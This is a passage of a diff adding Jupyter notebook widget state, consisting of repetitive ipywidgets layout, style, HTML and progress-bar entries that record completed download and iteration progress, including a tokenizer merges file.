"IPY_MODEL_8f135d6a55484caf92a325c375e16005", + "value": "100%" + } + }, + "db498aee51494067b6ad507e47f37bd4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ce20d1f9a55a42518c521eb5a1c8b414", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f019b7a1faf1469c87b048319a9b71ef", + "value": 50 + } + }, + "dc16acab929344cab2be08d297182843": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dc22f7fca8eb4d258406b3b53af177cc": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dc8d5cf759be4ab08d801e1d4758b34a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8bb4488a1c1c4defafb072afa695918f", + "placeholder": "​", + "style": "IPY_MODEL_2dc8bda3ec0046b09c6422b5248f1312", + "value": "100%" + } + }, + "dca153f028a14e3e959c9fe29816223f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dd94c326988a41cd8b57f4dd9a26f499": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ddebad755dce4da8887eb7f3d4dd49ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dfcd450b24d244ab86ccfc1b602a1d7e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dfe593ba3bb440e0a29864c62f7b049e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dffb565d8879412ba6c9989b02cbe661": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "dffbab23b4c34df9b6f9e8ff6c1a1912": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e0424e3a00f24718ab911e6162ce8d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e0448b4988f643dd9f12e4fca280dbee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_75327980774b4419a9ec50f97a0c1d75", + "placeholder": "​", + "style": "IPY_MODEL_7adf45fac6804cbcbbe5d7c6cbdfd878", + "value": " 50/50 [00:13<00:00, 3.69it/s]" + } + }, + "e11583de8d894d3da80ef3bb1fe52e08": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e221a677aab740ea888cb7faf343dfbb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e23ebecc8f5f4598a991da021d78ddd2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e25496021c9f4046bb83f585601baaf4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_48b23ac8e7ce46239504712135b41444", + "max": 30, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_6f520ae078104d70945b5d42ded1a75a", + "value": 30 + } + }, + "e25cb8e08bae4c56a84874cf31cd84c4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e416557198234698affa1b9410fa0967": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_cc1d355b4f6440fab9de50ccc5a268b8", + "IPY_MODEL_9dec2df865ed4e8399c511f504e460f7", + "IPY_MODEL_0439a988a2834c379b037e5faba17290" + ], + "layout": "IPY_MODEL_c0bb5873a4ca4462a28773a269a6c551" + } + }, + "e535c42b82cb4e1fa4fbf492768e5762": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e67431e7efe24016bcf04dfbcffc776e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e82bcca350364e229895710e7d145fbf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e92d28da4f314f73b4c4cccde114f1f4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "eb2855fb57d64857ab32fafd3a77b457": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "eb33b9af3ec14698bec89ff8b66bae06": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b00687d7649d45af882cdd6d0f97591d", + "IPY_MODEL_62905ea2ea4045aeb5ec9a8426247100", + "IPY_MODEL_9eb63a9230ba472d87cf106e8abb5dff" + ], + "layout": "IPY_MODEL_fcc8de512f89491ab8b7a50cc37f83f5" + } + }, + "ebfab18cc7484b71bb252d4e242e3b40": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ec3c6adaf7ed44469ac0a58490dd5159": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ec6d2dd0f61e42478903c839bc3395ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_96127d57c04f45fd91dab7aa30607e63", + "IPY_MODEL_a109094931b742ee9f4376e54d62660c", + "IPY_MODEL_851980277e5e486a9962a2e7607be100" + ], + "layout": "IPY_MODEL_3d4c455dc8344c7b8b42a609322713e8" + } + }, + "ecc2c348430c471791a449784f5df44c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ed4320b4d8284ead91830c0b11b9bc56": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f25cbe3e352d44c9849191bbb8e9d4d9", + "placeholder": "​", + "style": "IPY_MODEL_3bffddd95fdf4e3c896e1554a239273a", + "value": "100%" + } + }, + "ee190ee62fb24dacb96d9b57e562c3b9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ee194df227d447d9a5a36d4ec08d3a47": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee1a66e0f3ab4c67beef305317124a0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee87d3500d5a483b8a03b0c499392928": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee9c24e8b40948d398b026d30cc5cee7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "eed1d1e67a1d4a20ba49586148ca5a2a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ef3472cacb4d426cbacec25777507432": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_50569e1467f7411e862553111c97afb3", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_72effdc24eb84648b6838729c11fed72", + "value": 10 + } + }, + "efa4ce6a37094cd483fa4e39b7ae04eb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b7db2ab7ac704366b20c166c701019c0", + "placeholder": "​", + "style": "IPY_MODEL_8c01f8b4191048c5b596bb5da0c73d2f", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "f001e880d8f3453a9395eb78329dbbc7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + 